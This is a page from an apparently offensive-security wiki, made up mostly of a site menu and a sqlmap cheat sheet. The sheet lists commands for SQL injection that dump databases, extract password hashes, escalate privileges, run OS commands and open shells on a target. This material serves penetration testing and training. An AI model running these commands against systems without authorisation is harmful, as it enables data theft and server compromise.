Red Squad
BuyMeACoffee
  • 🏠/home/red-squad
    • ⏰Recently Added
    • 🥳Support our projects
    • ⚰️Is There Life After Death ?
  • 🌐Web Hacking
    • 🚩CTFs shortcuts
    • 🗺️Audits plan
      • Exposition Audit - Plan
      • Internal Audit - Plan
      • External Audit - Plan
    • 🕵️OSINT
      • 🔍Search Engines
      • 🧑User OSINT
      • 🇫🇲Domains, IP, IOT
      • 🕸️Website OSINT
      • 🗣️Breaches/Leaks
      • 💼Business OSINT
      • 🧅TOR network
      • 🔬Source Code
      • 🥸Dorks
      • ⚔️Vulnerabilities and IOC
      • 📦MISC
    • Enumeration
      • Network Scanners
      • Directory/Files Scanners
      • Web Scanners
        • Subdomains
    • 🔗HTTP Stuff
      • HTTP Methods
        • 403 Bypass
      • Security Headers
      • HTTP Parameters
    • 🔐Sessions / Tokens
      • Cookies
      • JWT
        • Attacking JWT
    • 💉Injections
      • HTML | XSS
      • SQLi
        • SQLmap
        • NoSQLi
      • XXE
      • LaTex
    • 🪱Web Vulnerabilities
      • CSRF
      • ClickJacking
      • Files / Upload
        • 🗃️File Upload Bypass
        • 📦ZIP Slip
      • IDOR
      • LFI
        • Files to look for
      • Remote Code Execution
    • ⛔WAF Bypass
    • ✍️Servers / CMS
      • 🐈Tomcat
      • 💧Drupal
      • ✏️Oracle APEX
      • 🐦Apache
      • 🔷WordPress
        • Wordpress eBook Download < 1.2 - CVE-2016-10924
      • ⏩SAP
      • 🕴️Jenkins
      • 🖇️Joomla!
      • 🏢Server-Side Vulnerabilities
        • Server-Side Request Forgery
        • Server-Side Template Injection
    • 🖇️API
      • GraphQL
  • 🐧Linux Hacking
    • 🧗Privilege Escalation
      • Find passwords
      • Ansible
      • Manual Checks
      • Automated Checks
    • 👣Cover tracks
    • 🚪Backdoors
    • ⭕Reverse Shells
      • Shell Stabilizing
      • PwnCat
      • Ping-Pong
    • 🔢Compiled Binaries
    • 🌊Buffer Overflow
      • Introduction
      • Fundamentals
      • Exploits
    • 🐳Docker Escape
    • 🤝File sharing
  • 🪟Windows Hacking
    • 👥Active Directory
      • 1. Reconnaissance
        • Domain Network Enumeration
          • SMB Enumeration
          • LDAP Enumeration
      • 2. Initial Attack Vectors
        • Kerberos
          • Lookupsid
          • findDelegation
          • ASREPRoast
          • Kerbrute
        • AD CS
          • Basics
          • Exploits
        • Network
          • SMBRelay
          • LLMNR_NBT NS Poisoning
            • Relay Poisoning Ressources
          • IPv6 Attacks
        • Impacket
          • Windows Secrets
        • Autologon
        • PowerView.ps1
      • 3. Post-Compromise Enumeration
        • ACLs Abuse
        • Computer enumeration
        • PowerView
        • BloodHound
        • MimiKatz
        • PingCastle
      • 4. Post-Compromise Attacks
        • WSUS Poison
        • AlwaysInstallElevated
        • DCSync
        • Dumping LSASS
        • Dumping NTDS.dit
        • Golden Tickets
        • GPP Attacks
        • Kerberoasting - SPN
        • Pass the Hash
        • Pass the Password
        • Rubeus
      • 5. PrivEsc & MISC
        • Automated scripts
        • Exploits
          • noPac - CVE-2021-42278
          • ZeroLogon - CVE-2020-1472
          • LocalPotato - CVE-2023-21746
          • PrintNightMare - CVE-2021-34527
          • Other CVEs
    • 💡Useful AD Commands
    • 🧗Privilege Escalation
    • 🐚Shells
    • 🔓Bypasses
      • UAC
      • Antivirus
      • AppLocker
      • BitLocker
    • 📃Office
      • Analyze office files
      • Forgot password of file ?
      • CVE-2023-21716 (Microsoft Word RCE)
    • 👩‍💻SCCM | MECM
      • Configuration Audit
      • Dump
      • Hack It
        • Reconnaisance
        • PXE/OSD Exploitation
        • NTLM Relay from SCCM Clients
        • Privilege Escalation
        • Lateral Movement
        • Malware Deployment
      • Basics
    • 💎Microsoft 365
      • Configuration
      • Hacking
  • 💽Systems
    • 🐕‍🦺Services Enumeration
    • 🖨️Printers
      • Printer Exploitation Tool (PRET)
      • CUPS
    • 🛡️Fortinet
    • 📹CCTV / IP Cameras
      • Hacking
  • 🎆Networks
    • 🌪️Pivoting
      • Tools / Guide
        • Proxychains / FoxyProxy
        • SSH Tunnelling / Port Forwarding
        • Plinx.exe
        • Socat
        • Chisel
        • Sshuttle
        • Ligolo-Ng : Pivoting use cases
      • SocksOverRDP
    • 🔥Firewalls
      • 🔥Evasion
    • 🔗Proxies
  • 📱Mobile Hacking
    • 🤖Android
      • Introduction
      • Reversing
      • Static Analysis
      • Dynamic Analysis
      • Disable SSL Pinning
      • Bypass Root Detection
      • Network / Traffic Analysis
    • 🍏iOS
      • Introduction
      • Static Analysis
      • Dynamic Analysis
      • JailBreak
    • 📺IOT
      • IOTGoat OWASP | Walkthrough
      • Resources
  • Configuration
    • ChromeOS
    • Mobile
      • Android
    • IBM
      • AS400
      • AIX
  • 📡Wireless Hacking
    • 🎆Wi-Fi Attacks
      • EvilTwin
      • Cracking WPA/WPA2
      • Sniffing
    • 🫐Bluetooth
      • BLE Locks Hacking
  • 👨‍💻Code Audit
    • ✔️Best Practices
    • ❌Bad Practices
    • ⚒️Tools
  • 🍑Thick Client Hacking
    • 📝Thick Client Pentesting Methodology
    • 🗄️Resources
  • 🗄️MISC
    • 🔑Default Credentials
    • 🔻CVEs
      • [CVE-2022-0847] - dirtypipe
      • [CVE-2021-4034] - Pwnkit
      • [CVE-2021-45105] - Log4J
      • [CVE-2018-15473] - OPENSSH < 7.7
    • 🦊Browser Extensions
    • 🤖AI
      • chatGPT alternatives
      • Large Language Model Hacking
    • 🔭Hacking Labs
    • 🔫Exploitation Frameworks
  • 🕵️OPSEC
    • 🗝️Privacy
      • Best tools
      • Online Anonymity
      • Browser Configuration
  • 🔑CRACKING | ENCODING
    • 🥊Bruteforce tools
    • 📝Wordlists
    • 🧨Cracking Tools
    • 🔬Encoding | Decoding Tools
    • 🔍Steganography | Cipher
  • 🔴RED TEAM
    • 📥Password Extract
      • Firefox
    • 🕵️Spy cam
    • 🔒Lock Picking
    • 🎣Phishing
      • Infrastructure
      • Resources
  • 🌀Whistle Blowing
    • 📹CCTV
  • 🔵BLUE TEAM
    • 🧩Forensics
    • 🦹Malware Analysis
    • 🛠️Tools
    • 🍯HoneyPots
    • 🎆Networks Security
    • 🪙Online IoC Scanners
  • 🐞Bug Bounty Related
    • Searching for CVEs
    • [FR] Legal
    • Dorks
  • 🖥️DEVELOPERS
    • 👨‍💻IDE
  • 📚LEARNING
    • Windows
      • Active Directory
      • Kerberos
      • Pass-the-*
    • SQL
      • SQSHell | sqsh | skwish
      • NoSQL
      • DB infos
    • SSL/TLS
      • Configuration on MariaDB
Powered by GitBook
On this page
  • Dumping tables
  • Examples
  • Post-Exploit
  • Flags

Was this helpful?

Edit on GitHub
Export as PDF
  1. Web Hacking
  2. Injections
  3. SQLi

SQLmap

PreviousSQLiNextNoSQLi

Last updated 2 years ago

Was this helpful?

sqlmap goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.

Dumping tables

Examples

  • Target the http://target.server.com URL using the -u flag:

sqlmap -u 'http://target.server.com'
  • Specify POST requests by specifying the -data flag:

sqlmap -u "http://10.10.155.76/login.php" -method "POST" -data "log_email=cun@gmail.com&log_password=123456&login_button=Login" --dbs
  • Target a vulnerable parameter in an authenticated session by specifying cookies using the -cookie flag:

sqlmap -u 'http://target.server.com' --cookie='JSESSIONID=09h76qoWC559GH1K7D- SQHx'
  • Drop all Set-Cookie requests from the target web server using the -drop-set-cookie flag:

sqlmap -u 'http://target.server.com' -r req.txt --drop-set-cookie
  • Perform in-depth and risky attacks using the -level and -risk flags:

sqlmap -u 'http://target.server.com' --data='param1=blah' --level=5 --risk=3
  • Specify which POST or GET parameter to target using the -p flag:

sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah' -p param1
  • Choose a random User-Agent request header using the –random-agent flag:

sqlmap -u 'http://target.server.com' -r req.txt --random-agent
  • Target a certain database service using the –dbms flag:

sqlmap -u 'http://target.server.com' -r req.txt --dbms Oracle
  • Read a request (stored via Burpsuite) target the user parameter (and no other parameters), run risky queries, and dump users and passwords:

sqlmap -r ./req.txt -p user --level=1 --risk=3 --passwords
  • Attempt privilege escalation on the target database

sqlmap -r ./req.txt --level=1 --risk=3 --privesc
Run the “whoami” command on the target server.
sqlmap -r ./req.txt --level=1 --risk=3 --os-cmd=whoami

Dump everything in the database, but wait one second in-between requests.

sqlmap -r ./req.txt --level=1 --risk=3 --dump --delay=1

Post-Exploit

  • Error-Based SQLi, dump all data from a MSSQL Database :

sqlmap -r req --technique=E -U <user> --level 5 --risk 3 --tamper=space2comment --dbms=MSSQL -D <db> --dump

Flags

Here are some useful options for your pillaging pleasure:

-r req.txt Specify a request stored in a text file, great for saved requests from BurpSuite.

--force-ssl Force SQLmap to use SSL or TLS for its requests.

--level=1 only test against the specified parameter, ignore all others.

--risk=3 Run all exploit attempts, even the dangerous ones (could damage database).

--delay Set a delay in-between requests, great for throttled connections.

--proxy Set to http://127.0.0.1:8080 to pipe requests through BurpSuite for inspection.

--privesc Attempt to elevate the privileges of the database service account.

--all Enumerate everything inside the target database.

--hostname Print the target database’s hostname.

--passwords Find and exfiltrate all users and their password hashes or digests.

--dbs Enumerate all databases accessible via the target webserver.

--comments Enumerate all found comments inside the database.

--sql-shell Return a SQL prompt for interaction.

--os-cmd Attempt to execute a system command.

--os-shell Attempt to return a command prompt or terminal for interaction.

--reg-read Read the specified Windows registry key value.

--file-write Specify a local file to be written to the target server.

--file-dest Specify the remote destination to write a file to.

--technique= Specify a letter or letters of BEUSTQ to control the exploit attempts:

  • B : Boolean-based blind

  • E : Error-based

  • U : Union query-based

  • S : Stacked queries

  • T : Time-based blind

  • Q : Inline queries

🌐
💉
SQLMap Cheat Sheet : The Lazy Man's Guide | The Dark SourceThe Dark Source
SQLMap cheatsheet
Dumping tables using sqlmap;--Ravinder Nehra
Logo
Logo